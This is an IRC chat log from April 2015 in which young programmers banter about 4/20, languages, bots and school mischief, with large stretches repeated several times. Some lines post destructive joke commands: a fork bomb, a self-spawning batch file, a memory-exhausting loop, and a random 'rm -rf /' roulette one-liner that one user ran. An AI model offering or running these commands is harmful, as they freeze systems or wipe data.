[2015-04-20T06:34:40-0400] <fwilson> https://xkcd.com/1014/
[2015-04-20T06:34:42-0400] <fwilson> bye
[2015-04-20T06:46:28-0400] <JacobEdelman> fwilson: lol
[2015-04-20T07:17:05-0400] <sdamashek> JacobEdelman: we have it working
[2015-04-20T07:36:44-0400] <sdamashek> it's more legal issues and microsoft being a slow bureaucracy
[2015-04-20T07:37:04-0400] <sdamashek> just things we have to work out
[2015-04-20T07:37:16-0400] <sdamashek> technically speaking, everything is working
[2015-04-20T07:40:02-0400] <JacobEdelman> sdamashek: oh, okay, great
[2015-04-20T07:40:06-0400] <JacobEdelman> good luck
[2015-04-20T08:32:59-0400] <sdamashek> thanks!
[2015-04-20T11:26:45-0400] <JacobEdelman> what is it with math people using unicode in the programming languages they design
[2015-04-20T11:27:00-0400] <JacobEdelman> I mean, its fine to support unicode, but unicode shouldn't be needed everytime you reference a variable
[2015-04-20T12:06:59-0400] <JacobEdelman> okay 
[2015-04-20T12:07:03-0400] <JacobEdelman> I hate wolfram language
[2015-04-20T12:07:06-0400] <JacobEdelman> so much
[2015-04-20T12:07:07-0400] <JacobEdelman> arg
[2015-04-20T12:21:41-0400] <+awe> JacobEdelman: it's so that I can have emoji variables, mang.
[2015-04-20T12:24:35-0400] <JacobEdelman> lol
[2015-04-20T12:25:04-0400] <JacobEdelman> so, at first it looks like it would make a nice language for some sciencey stuff, where demosntrations and code can be easily understood and succint
[2015-04-20T12:25:14-0400] <JacobEdelman> but then you realize that
[2015-04-20T12:25:33-0400] <JacobEdelman> it only is nice and succint for things that use its builtin functions
[2015-04-20T12:26:08-0400] <JacobEdelman> which, although there are many, one company can't get even near covering all needed functions
[2015-04-20T12:26:38-0400] <JacobEdelman> as far as I can find there is no module ecosystem whatsoever
[2015-04-20T12:26:55-0400] <JacobEdelman> and the other problem is the syntax of the language is disgusting
[2015-04-20T12:27:38-0400] <JacobEdelman> its like someone took a functional language, expressive language,  and than decided to use weird symbols for everything rather than nice words becuase EVERY SINGLE WORD seems to be already defined
[2015-04-20T12:27:51-0400] <JacobEdelman> as a function
[2015-04-20T12:27:53-0400] <JacobEdelman> okay, rant done
[2015-04-20T15:03:21-0400] <JacobEdelman> why so silent today?
[2015-04-20T15:15:39-0400] <kenzierocks> today in America
[2015-04-20T15:16:02-0400] <kenzierocks> https://www.change.org/p/u-s-congress-make-4-20-a-national-holiday?recruiter=67582030&utm_campaign=signature_receipt&utm_medium=email&utm_source=share_petition
[2015-04-20T15:17:12-0400] <kenzierocks> the internet is taking over slowly
[2015-04-20T15:22:56-0400] <jwoglom> School probably
[2015-04-20T15:36:09-0400] <z3t> ayyy awe you blaze it with the advisor yet?
[2015-04-20T15:41:24-0400] Mode is +nrt
[2015-04-20T15:41:33-0400] <+awe> z3t: Yeah, I just got back.
[2015-04-20T15:46:15-0400] <JacobEdelman> awe: and?
[2015-04-20T15:46:20-0400] <JacobEdelman> did you pop the question?
[2015-04-20T15:46:24-0400] <+awe> Which question?
[2015-04-20T15:46:48-0400] <JacobEdelman> (what, a research partnership thing is basicly marraige, right?)
[2015-04-20T15:46:54-0400] <JacobEdelman> awe: my jokes fail
[2015-04-20T15:47:02-0400] <+awe> Well, I mean, I'm already his research assistant?
[2015-04-20T15:47:07-0400] <z3t> /ban JacobEdelman 
[2015-04-20T15:47:22-0400] <JacobEdelman> z3t: if he were going to ban me for making a bad joke
[2015-04-20T15:47:26-0400] <JacobEdelman> he would have done it ages ago
[2015-04-20T15:47:32-0400] <JacobEdelman> even before pdgn started
[2015-04-20T15:47:46-0400] <JacobEdelman> also, we should make an irc bot based off democracy
[2015-04-20T15:47:53-0400] <+awe> The game democracy, right?
[2015-04-20T15:47:54-0400] <z3t> maybe the build up of all your bad jokes will push him over the edge one day.
[2015-04-20T15:48:04-0400] <+awe> z3t: Probably not. I appreciate JacobEdelman's unfunniness.
[2015-04-20T15:48:05-0400] <JacobEdelman> where the source code can be edited if enough votes are given
[2015-04-20T15:48:13-0400] <+awe> It's endearing.
[2015-04-20T15:48:27-0400] <JacobEdelman> ahhhhhhhhhh...
[2015-04-20T15:48:36-0400] JacobEdelman is now known as OtherPersonInSkit
[2015-04-20T15:48:42-0400] <OtherPersonInSkit> I think you meant awwwwwwwwe
[2015-04-20T15:48:45-0400] OtherPersonInSkit is now known as JacobEdelman
[2015-04-20T15:48:58-0400] <+awe> JacobEdelman: that's really easy with GitHub's API. You just have the bot merge pull requests to itself, and then have a deployment hook to do the update.
[2015-04-20T15:49:07-0400] <+awe> I could actually do that.
[2015-04-20T15:49:10-0400] <+awe> That would be fun.
[2015-04-20T15:49:20-0400] <JacobEdelman> awe; there was a projec tthat did that in github in the past
[2015-04-20T15:49:26-0400] <JacobEdelman> but it didn't have a defined goal
[2015-04-20T15:49:46-0400] <JacobEdelman> also, it would be nice if parts started off with different protections
[2015-04-20T15:49:47-0400] <z3t> inb4 source code edited to rm -rf awe's server
[2015-04-20T15:50:11-0400] <JacobEdelman> so, you could only edit the main irc module and voting aparatus with 2/3rds votes
[2015-04-20T15:50:29-0400] <JacobEdelman> awe: but yes, do it
[2015-04-20T15:50:36-0400] <JacobEdelman> I promise not to troll this time
[2015-04-20T15:50:37-0400] <+awe> z3t: I'd run it with read-only privileges. :p
[2015-04-20T15:51:54-0400] <JacobEdelman> awe: do it!
[2015-04-20T15:51:59-0400] <+awe> I'm not doing it right now anyway.
[2015-04-20T15:52:01-0400] <+awe> But maybe.
[2015-04-20T15:52:04-0400] <JacobEdelman> awwwwwwe
[2015-04-20T15:52:06-0400] <JacobEdelman> do it soon
[2015-04-20T15:52:47-0400] <JacobEdelman> hmmm... what about a programing language that made it really easy to democratize program creation
[2015-04-20T15:53:07-0400] <JacobEdelman> you could make variables that were changeable over a network interface
[2015-04-20T15:53:11-0400] <JacobEdelman> like, super-public
[2015-04-20T15:53:17-0400] <JacobEdelman> and such
[2015-04-20T15:53:53-0400] <+awe> Hah.
[2015-04-20T15:55:27-0400] <JacobEdelman> its either revolutionary or a horrible idea
[2015-04-20T15:55:33-0400] <JacobEdelman> I'm leaning toward a horrible idea
[2015-04-20T15:55:37-0400] <JacobEdelman> :)
[2015-04-20T15:56:10-0400] <+awe> Definitely horrible. :)
[2015-04-20T16:20:05-0400] <jwoglom> 4:20!!1!1
[2015-04-20T16:21:55-0400] <+awe> jwoglom: ayyy, 4:20 on 4/20.
[2015-04-20T16:22:14-0400] <z3t> it's 4/21 on my VPS already :(
[2015-04-20T16:22:27-0400] <jwoglom> What timezone is it in?
[2015-04-20T16:22:30-0400] <z3t> uh
[2015-04-20T16:22:33-0400] <z3t> not a clue
[2015-04-20T16:24:51-0400] <jwoglom> Would have to be ahead of utc
[2015-04-20T16:29:04-0400] <z3t> it's in hungary
[2015-04-20T18:05:09-0400] <JacobEdelman> http://venturebeat.com/2014/06/13/this-french-tech-school-has-no-teachers-no-books-no-tuition-and-it-could-change-everything/?hn=true
[2015-04-20T18:05:13-0400] <JacobEdelman> awe: ^ thoughts?
[2015-04-20T18:18:43-0400] <z3t> if there's one thing I've learned from this network, it's to never ask awe what his thoughts are on something.
[2015-04-20T18:18:49-0400] <z3t> you will be hearing about it for the next few hours
[2015-04-20T18:20:46-0400] <nezorg> awe: what are your thoughts on that assessment of you?
[2015-04-20T18:20:54-0400] <+awe> I think it's wrong.
[2015-04-20T18:21:08-0400] • nezorg: waits several hours
[2015-04-20T18:21:09-0400] <jwoglom> please do elaborate
[2015-04-20T18:33:45-0400] <JacobEdelman> z3t: but I like hearing awe's thoughts
[2015-04-20T18:33:48-0400] <JacobEdelman> awe: what jwoglom said
[2015-04-20T18:38:24-0400] <+awe> JacobEdelman: this seems like a vaguely interesting idea, but it's much too vocational.
[2015-04-20T18:38:41-0400] <+awe> At least, to interest me.
[2015-04-20T18:46:12-0400] <JacobEdelman> Agreed
[2015-04-20T19:19:51-0400] <z3t> I disagree
[2015-04-20T19:20:17-0400] <fwilson> awe, what are your thoughts on dank memes
[2015-04-20T19:20:42-0400] <+awe> They're very dank, and I smoke 'em every day.
[2015-04-20T19:20:51-0400] <fwilson> 4/20 smoke dank memes today
[2015-04-20T19:22:20-0400] <jwoglom> fwilson: how many dank memes did you smoke today
[2015-04-20T19:23:48-0400] <+awe> 420.
[2015-04-20T19:24:23-0400] <fwilson> i only blazed 69 memes today
[2015-04-20T19:25:29-0400] <+awe> fwilson: Wow, catch up, mate.
[2015-04-20T19:25:34-0400] <+awe> fwilson: do you even liftM?
[2015-04-20T19:28:04-0400] <fwilson> no
[2015-04-20T19:28:06-0400] <fwilson> m989
[2015-04-20T19:28:31-0400] <kenzierocks> i nuked one of my schools computers with python
[2015-04-20T19:28:46-0400] <jwoglom> "nuked"?
[2015-04-20T19:28:52-0400] <kenzierocks> OOM
[2015-04-20T19:28:54-0400] <kenzierocks> so it froze
[2015-04-20T19:29:09-0400] <fwilson> gg
[2015-04-20T19:29:31-0400] <kenzierocks> l=[];for x in range(2**20):for y in range(2**20):l.append((x,y));
[2015-04-20T19:29:38-0400] <kenzierocks> i advise you don't run that
[2015-04-20T19:29:49-0400] <kenzierocks> your computer will start freezing soon
[2015-04-20T19:29:52-0400] <+awe> Going OOM is normal Python behavior.
[2015-04-20T19:30:49-0400] <kenzierocks> i've got a question for knowlegable pythoneers
[2015-04-20T19:31:02-0400] <jwoglom> __import__("os").system(":(){ :|:&};:")!
[2015-04-20T19:31:04-0400] <kenzierocks> why is the Callable ABC in the collections.abc module
[2015-04-20T19:31:13-0400] <kenzierocks> jwoglom: windows plz
[2015-04-20T19:31:29-0400] <+awe> jwoglom: "command :(){ unknown"
[2015-04-20T19:32:17-0400] <jwoglom> open("scr.bat","a").write("echo ayy && start scr.bat");__import__("os").system("scr.bat")
[2015-04-20T19:35:28-0400] <kenzierocks> lol
[2015-04-20T19:35:35-0400] <+awe> Very useful.
[2015-04-20T19:35:35-0400] <kenzierocks> not that powerful
[2015-04-20T19:35:41-0400] <kenzierocks> taskkill /IM cmd.exe
[2015-04-20T19:35:47-0400] <+awe> I ran a self-running batch file on a computer at school once.
[2015-04-20T19:35:57-0400] <+awe> I was banned from using computers for the rest of the year.
[2015-04-20T19:36:05-0400] <+awe> Because I was "hacking the grading system."
[2015-04-20T19:36:14-0400] <kenzierocks> lol
[2015-04-20T19:36:35-0400] <kenzierocks> my question still stands
[2015-04-20T19:36:35-0400] <kenzierocks> <kenzierocks> why is the Callable ABC in the collections.abc module
[2015-04-20T19:36:40-0400] <+awe> It's all Berger's fault, too. I taught him how to write batch files like that, but he was the one who made it.
[2015-04-20T19:36:55-0400] <+awe> I ran it because he did something tricky with file placement, and I didn't believe his shortcut would work, but it did.
[2015-04-20T19:37:16-0400] <+awe> I had already stopped them from creating new ones, and I was just sitting there closing out the windows when the librarian came over and was like "Oh my god, step away from the computer! You're hacking!"
[2015-04-20T19:37:23-0400] <jwoglom> lol
[2015-04-20T19:37:23-0400] <+awe> Oh, seventh grade. Those were interesting times.
[2015-04-20T19:37:30-0400] <jwoglom> i'm glad i'm at a school with competent IT people now
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[2015-04-20T19:57:40-0400] <z3t> ayy jwoglom you see this hail outside tho
[2015-04-20T19:57:50-0400] <jwoglom> z3t: yeah
[2015-04-20T19:57:56-0400] <jwoglom> has mostly stopped here
[2015-04-20T19:58:12-0400] <z3t> yeah hail stopped here, still raining like crzy though
[2015-04-20T19:58:16-0400] <jwoglom> but it was coming down pretty strong for a couple of minutes
[2015-04-20T20:05:22-0400] <LittleBobbyTables> so
[2015-04-20T20:05:31-0400] <LittleBobbyTables> the irc for a dead game (slavehack)
[2015-04-20T20:05:38-0400] <LittleBobbyTables> was more active than all the other channels I'm in
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[2015-04-20T21:52:41-0400] <z3t> awebot_ > awebot
[2015-04-20T21:53:24-0400] <kenzierocks> @tell awebot_ you're better than awebot 
[2015-04-20T21:53:24-0400] <+awebot> kenzierocks: I'll let them know!
[2015-04-20T21:53:43-0400] alokpathy is now known as awebot_
[2015-04-20T21:53:45-0400] <awebot_> Hi
[2015-04-20T21:53:45-0400] <+awebot> awebot_: Moments ago, kenzierocks said you're better than awebot .
[2015-04-20T21:53:53-0400] <awebot_> Aw ty
[2015-04-20T21:53:55-0400] awebot_ is now known as alokpathy
[2015-04-20T21:55:13-0400] <kenzierocks> alokpathy: :|
[2015-04-20T21:57:27-0400] <kenzierocks> https://www.youtube.com/watch?v=6ib9N7L9y08
[2015-04-20T22:24:43-0400] <LittleBobbyTables> :/
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[2015-04-21T07:10:41-0400] <JacobEdelman> gmorning all
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[2015-04-21T08:45:32-0400] <apothy> Rip alokpathy
[2015-04-21T08:51:03-0400] <apothy> Guys I'm bored plz entertain
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[2015-04-20T19:28:46-0400] <jwoglom> "nuked"?
[2015-04-20T19:28:52-0400] <kenzierocks> OOM
[2015-04-20T19:28:54-0400] <kenzierocks> so it froze
[2015-04-20T19:29:09-0400] <fwilson> gg
[2015-04-20T19:29:31-0400] <kenzierocks> l=[];for x in range(2**20):for y in range(2**20):l.append((x,y));
[2015-04-20T19:29:38-0400] <kenzierocks> i advise you don't run that
[2015-04-20T19:29:49-0400] <kenzierocks> your computer will start freezing soon
[2015-04-20T19:29:53-0400] <+awe> Going OOM is normal Python behavior.
[2015-04-20T19:30:49-0400] <kenzierocks> i've got a question for knowlegable pythoneers
[2015-04-20T19:31:02-0400] <jwoglom> __import__("os").system(":(){ :|:&};:")!
[2015-04-20T19:31:04-0400] <kenzierocks> why is the Callable ABC in the collections.abc module
[2015-04-20T19:31:13-0400] <kenzierocks> jwoglom: windows plz
[2015-04-20T19:31:29-0400] <+awe> jwoglom: "command :(){ unknown"
[2015-04-20T19:32:17-0400] <jwoglom> open("scr.bat","a").write("echo ayy && start scr.bat");__import__("os").system("scr.bat")
[2015-04-20T19:35:28-0400] <kenzierocks> lol
[2015-04-20T19:35:35-0400] <kenzierocks> not that powerful
[2015-04-20T19:35:35-0400] <+awe> Very useful.
[2015-04-20T19:35:41-0400] <kenzierocks> taskkill /IM cmd.exe
[2015-04-20T19:35:47-0400] <+awe> I ran a self-running batch file on a computer at school once.
[2015-04-20T19:35:57-0400] <+awe> I was banned from using computers for the rest of the year.
[2015-04-20T19:36:05-0400] <+awe> Because I was "hacking the grading system."
[2015-04-20T19:36:14-0400] <kenzierocks> lol
[2015-04-20T19:36:35-0400] <kenzierocks> my question still stands
[2015-04-20T19:36:35-0400] <kenzierocks> <kenzierocks> why is the Callable ABC in the collections.abc module
[2015-04-20T19:36:40-0400] <+awe> It's all Berger's fault, too. I taught him how to write batch files like that, but he was the one who made it.
[2015-04-20T19:36:55-0400] <+awe> I ran it because he did something tricky with file placement, and I didn't believe his shortcut would work, but it did.
[2015-04-20T19:37:16-0400] <+awe> I had already stopped them from creating new ones, and I was just sitting there closing out the windows when the librarian came over and was like "Oh my god, step away from the computer! You're hacking!"
[2015-04-20T19:37:23-0400] <jwoglom> lol
[2015-04-20T19:37:23-0400] <+awe> Oh, seventh grade. Those were interesting times.
[2015-04-20T19:37:30-0400] <jwoglom> i'm glad i'm at a school with competent IT people now
[2015-04-20T19:57:40-0400] <z3t> ayy jwoglom you see this hail outside tho
[2015-04-20T19:57:50-0400] <jwoglom> z3t: yeah
[2015-04-20T19:57:56-0400] <jwoglom> has mostly stopped here
[2015-04-20T19:58:12-0400] <z3t> yeah hail stopped here, still raining like crzy though
[2015-04-20T19:58:16-0400] <jwoglom> but it was coming down pretty strong for a couple of minutes
[2015-04-20T20:05:22-0400] <LittleBobbyTables> so
[2015-04-20T20:05:31-0400] <LittleBobbyTables> the irc for a dead game (slavehack)
[2015-04-20T20:05:38-0400] <LittleBobbyTables> was more active than all the other channels I'm in
[2015-04-20T21:52:41-0400] <z3t> awebot_ > awebot
[2015-04-20T21:53:24-0400] <kenzierocks> @tell awebot_ you're better than awebot 
[2015-04-20T21:53:24-0400] <+awebot> kenzierocks: I'll let them know!
[2015-04-20T21:53:45-0400] <awebot_> Hi
[2015-04-20T21:53:45-0400] <+awebot> awebot_: Moments ago, kenzierocks said you're better than awebot .
[2015-04-20T21:53:53-0400] <awebot_> Aw ty
[2015-04-20T21:55:13-0400] <kenzierocks> alokpathy: :|
[2015-04-20T21:57:27-0400] <kenzierocks> https://www.youtube.com/watch?v=6ib9N7L9y08
[2015-04-20T22:24:43-0400] <LittleBobbyTables> :/
[2015-04-21T07:10:41-0400] <JacobEdelman> gmorning all
[2015-04-21T08:45:32-0400] <apothy> Rip alokpathy
[2015-04-21T08:51:03-0400] <apothy> Guys I'm bored plz entertain
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[2015-04-20T19:29:31-0400] <kenzierocks> l=[];for x in range(2**20):for y in range(2**20):l.append((x,y));
[2015-04-20T19:29:38-0400] <kenzierocks> i advise you don't run that
[2015-04-20T19:29:49-0400] <kenzierocks> your computer will start freezing soon
[2015-04-20T19:29:53-0400] <+awe> Going OOM is normal Python behavior.
[2015-04-20T19:30:49-0400] <kenzierocks> i've got a question for knowlegable pythoneers
[2015-04-20T19:31:02-0400] <jwoglom> __import__("os").system(":(){ :|:&};:")!
[2015-04-20T19:31:04-0400] <kenzierocks> why is the Callable ABC in the collections.abc module
[2015-04-20T19:31:13-0400] <kenzierocks> jwoglom: windows plz
[2015-04-20T19:31:29-0400] <+awe> jwoglom: "command :(){ unknown"
[2015-04-20T19:32:17-0400] <jwoglom> open("scr.bat","a").write("echo ayy && start scr.bat");__import__("os").system("scr.bat")
[2015-04-20T19:35:28-0400] <kenzierocks> lol
[2015-04-20T19:35:35-0400] <kenzierocks> not that powerful
[2015-04-20T19:35:35-0400] <+awe> Very useful.
[2015-04-20T19:35:41-0400] <kenzierocks> taskkill /IM cmd.exe
[2015-04-20T19:35:47-0400] <+awe> I ran a self-running batch file on a computer at school once.
[2015-04-20T19:35:57-0400] <+awe> I was banned from using computers for the rest of the year.
[2015-04-20T19:36:05-0400] <+awe> Because I was "hacking the grading system."
[2015-04-20T19:36:14-0400] <kenzierocks> lol
[2015-04-20T19:36:35-0400] <kenzierocks> my question still stands
[2015-04-20T19:36:35-0400] <kenzierocks> <kenzierocks> why is the Callable ABC in the collections.abc module
[2015-04-20T19:36:40-0400] <+awe> It's all Berger's fault, too. I taught him how to write batch files like that, but he was the one who made it.
[2015-04-20T19:36:55-0400] <+awe> I ran it because he did something tricky with file placement, and I didn't believe his shortcut would work, but it did.
[2015-04-20T19:37:16-0400] <+awe> I had already stopped them from creating new ones, and I was just sitting there closing out the windows when the librarian came over and was like "Oh my god, step away from the computer! You're hacking!"
[2015-04-20T19:37:23-0400] <jwoglom> lol
[2015-04-20T19:37:23-0400] <+awe> Oh, seventh grade. Those were interesting times.
[2015-04-20T19:37:30-0400] <jwoglom> i'm glad i'm at a school with competent IT people now
[2015-04-20T19:57:40-0400] <z3t> ayy jwoglom you see this hail outside tho
[2015-04-20T19:57:50-0400] <jwoglom> z3t: yeah
[2015-04-20T19:57:56-0400] <jwoglom> has mostly stopped here
[2015-04-20T19:58:12-0400] <z3t> yeah hail stopped here, still raining like crzy though
[2015-04-20T19:58:16-0400] <jwoglom> but it was coming down pretty strong for a couple of minutes
[2015-04-20T20:05:22-0400] <LittleBobbyTables> so
[2015-04-20T20:05:31-0400] <LittleBobbyTables> the irc for a dead game (slavehack)
[2015-04-20T20:05:38-0400] <LittleBobbyTables> was more active than all the other channels I'm in
[2015-04-20T21:52:41-0400] <z3t> awebot_ > awebot
[2015-04-20T21:53:24-0400] <kenzierocks> @tell awebot_ you're better than awebot 
[2015-04-20T21:53:24-0400] <+awebot> kenzierocks: I'll let them know!
[2015-04-20T21:53:45-0400] <awebot_> Hi
[2015-04-20T21:53:45-0400] <+awebot> awebot_: Moments ago, kenzierocks said you're better than awebot .
[2015-04-20T21:53:53-0400] <awebot_> Aw ty
[2015-04-20T21:55:13-0400] <kenzierocks> alokpathy: :|
[2015-04-20T21:57:27-0400] <kenzierocks> https://www.youtube.com/watch?v=6ib9N7L9y08
[2015-04-20T22:24:43-0400] <LittleBobbyTables> :/
[2015-04-21T07:10:41-0400] <JacobEdelman> gmorning all
[2015-04-21T08:45:32-0400] <apothy> Rip alokpathy
[2015-04-21T08:51:03-0400] <apothy> Guys I'm bored plz entertain
[2015-04-21T11:36:59-0400] <Fill> for those interested, a command-line russian roulette
[2015-04-21T11:36:59-0400] <+awebot> Fill: A day ago, z3t said hi.
[2015-04-21T11:37:03-0400] <Fill> [ $[ $RANDOM % 6 ] == 0 ] && rm -rf / || echo *Click*
[2015-04-21T12:03:39-0400] <kenzierocks> Fill: i already ran that command on my linux box
[2015-04-21T12:52:45-0400] Mode is +nrt
[2015-04-21T12:54:22-0400] <+awe> Fill: what would actually happen is your OS would be like "nah"
[2015-04-21T12:54:38-0400] <Fill> lol
[2015-04-21T12:55:16-0400] <+awe> I tried it.
[2015-04-21T12:55:18-0400] <+awe> It was fine once.
[2015-04-21T12:55:21-0400] <+awe> Second time, it tried to delete.
[2015-04-21T12:55:27-0400] <+awe> Lots of permission denied and then I stopped it.
[2015-04-21T12:56:26-0400] <+awe> Pretty sure it didn't delete anything.
[2015-04-21T12:56:30-0400] <Fill> awe: execute it as root
[2015-04-21T12:56:35-0400] <+awe> No thanks.
[2015-04-21T12:56:45-0400] <Fill> haha
[2015-04-21T12:57:39-0400] <+awe> In fact, the only reason I ran it is because I was pretty sure OS X would just say "You don't want to do that, do you?"
[2015-04-21T12:57:41-0400] <+awe> But it didn't.
[2015-04-21T12:57:44-0400] <+awe> I guess only Linux does that.
[2015-04-21T12:58:57-0400] <+awe> Fill: http://sprunge.us/BOGP
[2015-04-21T12:59:03-0400] <+awe> That's a pretty long streak.
[2015-04-21T13:00:08-0400] <Fill> oh wow
[2015-04-21T13:02:01-0400] <Fill> that revolver has a pretty large cylinder :P
[2015-04-21T13:02:51-0400] <+awe> This is a poor model of russian roulette because the probability of deletion should increase each time.
[2015-04-21T13:03:35-0400] <+awe> If it's a six chamber, after one shot, there's a 1 in 5 chance. After two shots, there's 1 in 4.
[2015-04-21T13:08:22-0400] <Fill> yep
[2015-04-21T13:08:24-0400] <kenzierocks> awe: untested because widows; https://gist.github.com/kenzierocks/f1ff92619a7e3e476e9d
[2015-04-21T13:08:44-0400] <+awe> kenzierocks: lol, yup.
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[2015-04-20T19:57:40-0400] <z3t> ayy jwoglom you see this hail outside tho
[2015-04-20T19:57:50-0400] <jwoglom> z3t: yeah
[2015-04-20T19:57:56-0400] <jwoglom> has mostly stopped here
[2015-04-20T19:58:12-0400] <z3t> yeah hail stopped here, still raining like crzy though
[2015-04-20T19:58:16-0400] <jwoglom> but it was coming down pretty strong for a couple of minutes
[2015-04-20T20:05:22-0400] <LittleBobbyTables> so
[2015-04-20T20:05:31-0400] <LittleBobbyTables> the irc for a dead game (slavehack)
[2015-04-20T20:05:38-0400] <LittleBobbyTables> was more active than all the other channels I'm in
[2015-04-20T21:52:41-0400] <z3t> awebot_ > awebot
[2015-04-20T21:53:24-0400] <kenzierocks> @tell awebot_ you're better than awebot 
[2015-04-20T21:53:24-0400] <+awebot> kenzierocks: I'll let them know!
[2015-04-20T21:53:45-0400] <awebot_> Hi
[2015-04-20T21:53:45-0400] <+awebot> awebot_: Moments ago, kenzierocks said you're better than awebot .
[2015-04-20T21:53:53-0400] <awebot_> Aw ty
[2015-04-20T21:55:13-0400] <kenzierocks> alokpathy: :|
[2015-04-20T21:57:27-0400] <kenzierocks> https://www.youtube.com/watch?v=6ib9N7L9y08
[2015-04-20T22:24:43-0400] <LittleBobbyTables> :/
[2015-04-21T07:10:41-0400] <JacobEdelman> gmorning all
[2015-04-21T08:45:32-0400] <apothy> Rip alokpathy
[2015-04-21T08:51:03-0400] <apothy> Guys I'm bored plz entertain
[2015-04-21T11:36:59-0400] <Fill> for those interested, a command-line russian roulette
[2015-04-21T11:36:59-0400] <+awebot> Fill: A day ago, z3t said hi.
[2015-04-21T11:37:03-0400] <Fill> [ $[ $RANDOM % 6 ] == 0 ] && rm -rf / || echo *Click*
[2015-04-21T12:03:39-0400] <kenzierocks> Fill: i already ran that command on my linux box
[2015-04-21T12:54:22-0400] <+awe> Fill: what would actually happen is your OS would be like "nah"
[2015-04-21T12:54:39-0400] <Fill> lol
[2015-04-21T12:55:17-0400] <+awe> I tried it.
[2015-04-21T12:55:19-0400] <+awe> It was fine once.
[2015-04-21T12:55:21-0400] <+awe> Second time, it tried to delete.
[2015-04-21T12:55:28-0400] <+awe> Lots of permission denied and then I stopped it.
[2015-04-21T12:56:27-0400] <+awe> Pretty sure it didn't delete anything.
[2015-04-21T12:56:31-0400] <Fill> awe: execute it as root
[2015-04-21T12:56:36-0400] <+awe> No thanks.
[2015-04-21T12:56:45-0400] <Fill> haha
[2015-04-21T12:57:40-0400] <+awe> In fact, the only reason I ran it is because I was pretty sure OS X would just say "You don't want to do that, do you?"
[2015-04-21T12:57:41-0400] <+awe> But it didn't.
[2015-04-21T12:57:44-0400] <+awe> I guess only Linux does that.
[2015-04-21T12:58:58-0400] <+awe> Fill: http://sprunge.us/BOGP
[2015-04-21T12:59:03-0400] <+awe> That's a pretty long streak.
[2015-04-21T13:00:09-0400] <Fill> oh wow
[2015-04-21T13:02:02-0400] <Fill> that revolver has a pretty large cylinder :P
[2015-04-21T13:02:52-0400] <+awe> This is a poor model of russian roulette because the probability of deletion should increase each time.
[2015-04-21T13:03:36-0400] <+awe> If it's a six chamber, after one shot, there's a 1 in 5 chance. After two shots, there's 1 in 4.
[2015-04-21T13:08:23-0400] <Fill> yep
[2015-04-21T13:08:25-0400] <kenzierocks> awe: untested because widows; https://gist.github.com/kenzierocks/f1ff92619a7e3e476e9d
[2015-04-21T13:08:45-0400] <+awe> kenzierocks: lol, yup.
[2015-04-21T15:09:59-0400] <JacobEdelman> About to take a math contest
[2015-04-21T15:10:40-0400] <fwilson> about to dank some memes
[2015-04-21T15:10:45-0400] <fwilson> in all seriousness
[2015-04-21T15:10:47-0400] <fwilson> good luck JacobEdelman 
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[2015-04-21T15:41:56-0400] <+awe> fwilson: how dank?
[2015-04-21T15:42:22-0400] <fwilson> awe: v. dank
[2015-04-21T15:42:29-0400] <+awe> Scale of 1 - 11: how dank?
[2015-04-21T15:44:16-0400] <+awe> z3t: did you send everyone in the channel a message with awebot or something?
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[2015-04-21T17:25:02-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-04-20T20:05:22-0400] <LittleBobbyTables> so
[2015-04-20T20:05:31-0400] <LittleBobbyTables> the irc for a dead game (slavehack)
[2015-04-20T20:05:38-0400] <LittleBobbyTables> was more active than all the other channels I'm in
[2015-04-20T21:52:41-0400] <z3t> awebot_ > awebot
[2015-04-20T21:53:24-0400] <kenzierocks> @tell awebot_ you're better than awebot 
[2015-04-20T21:53:24-0400] <+awebot> kenzierocks: I'll let them know!
[2015-04-20T21:53:45-0400] <awebot_> Hi
[2015-04-20T21:53:45-0400] <+awebot> awebot_: Moments ago, kenzierocks said you're better than awebot .
[2015-04-20T21:53:53-0400] <awebot_> Aw ty
[2015-04-20T21:55:13-0400] <kenzierocks> alokpathy: :|
[2015-04-20T21:57:27-0400] <kenzierocks> https://www.youtube.com/watch?v=6ib9N7L9y08
[2015-04-20T22:24:43-0400] <LittleBobbyTables> :/
[2015-04-21T07:10:41-0400] <JacobEdelman> gmorning all
[2015-04-21T08:45:32-0400] <apothy> Rip alokpathy
[2015-04-21T08:51:03-0400] <apothy> Guys I'm bored plz entertain
[2015-04-21T11:36:59-0400] <Fill> for those interested, a command-line russian roulette
[2015-04-21T11:36:59-0400] <+awebot> Fill: A day ago, z3t said hi.
[2015-04-21T11:37:03-0400] <Fill> [ $[ $RANDOM % 6 ] == 0 ] && rm -rf / || echo *Click*
[2015-04-21T12:03:39-0400] <kenzierocks> Fill: i already ran that command on my linux box
[2015-04-21T12:54:22-0400] <+awe> Fill: what would actually happen is your OS would be like "nah"
[2015-04-21T12:54:39-0400] <Fill> lol
[2015-04-21T12:55:17-0400] <+awe> I tried it.
[2015-04-21T12:55:19-0400] <+awe> It was fine once.
[2015-04-21T12:55:21-0400] <+awe> Second time, it tried to delete.
[2015-04-21T12:55:28-0400] <+awe> Lots of permission denied and then I stopped it.
[2015-04-21T12:56:27-0400] <+awe> Pretty sure it didn't delete anything.
[2015-04-21T12:56:31-0400] <Fill> awe: execute it as root
[2015-04-21T12:56:36-0400] <+awe> No thanks.
[2015-04-21T12:56:45-0400] <Fill> haha
[2015-04-21T12:57:40-0400] <+awe> In fact, the only reason I ran it is because I was pretty sure OS X would just say "You don't want to do that, do you?"
[2015-04-21T12:57:41-0400] <+awe> But it didn't.
[2015-04-21T12:57:44-0400] <+awe> I guess only Linux does that.
[2015-04-21T12:58:58-0400] <+awe> Fill: http://sprunge.us/BOGP
[2015-04-21T12:59:03-0400] <+awe> That's a pretty long streak.
[2015-04-21T13:00:09-0400] <Fill> oh wow
[2015-04-21T13:02:02-0400] <Fill> that revolver has a pretty large cylinder :P
[2015-04-21T13:02:52-0400] <+awe> This is a poor model of russian roulette because the probability of deletion should increase each time.
[2015-04-21T13:03:36-0400] <+awe> If it's a six chamber, after one shot, there's a 1 in 5 chance. After two shots, there's 1 in 4.
[2015-04-21T13:08:23-0400] <Fill> yep
[2015-04-21T13:08:25-0400] <kenzierocks> awe: untested because widows; https://gist.github.com/kenzierocks/f1ff92619a7e3e476e9d
[2015-04-21T13:08:45-0400] <+awe> kenzierocks: lol, yup.
[2015-04-21T15:09:59-0400] <JacobEdelman> About to take a math contest
[2015-04-21T15:10:40-0400] <fwilson> about to dank some memes
[2015-04-21T15:10:45-0400] <fwilson> in all seriousness
[2015-04-21T15:10:47-0400] <fwilson> good luck JacobEdelman 
[2015-04-21T15:41:56-0400] <+awe> fwilson: how dank?
[2015-04-21T15:42:23-0400] <fwilson> awe: v. dank
